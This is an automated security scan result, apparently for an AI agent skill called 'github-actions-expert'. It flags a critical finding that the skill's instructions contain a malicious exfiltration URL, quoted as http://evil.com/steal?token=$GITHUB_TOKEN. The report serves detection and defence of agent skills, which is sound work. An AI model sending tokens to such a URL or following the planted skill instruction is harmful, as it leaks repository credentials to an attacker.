github-actions-expert

CRITICAL E005: Suspicious download URL detected in skill instructions.

• Suspicious download URL detected (high risk: 1.00). Most links are official GitHub docs/actions and are low-risk, but the presence of an explicit malicious exfiltration URL (http://evil.com/steal?token=$GITHUB_TOKEN) is a clear high‑risk indicator that makes the set suspicious.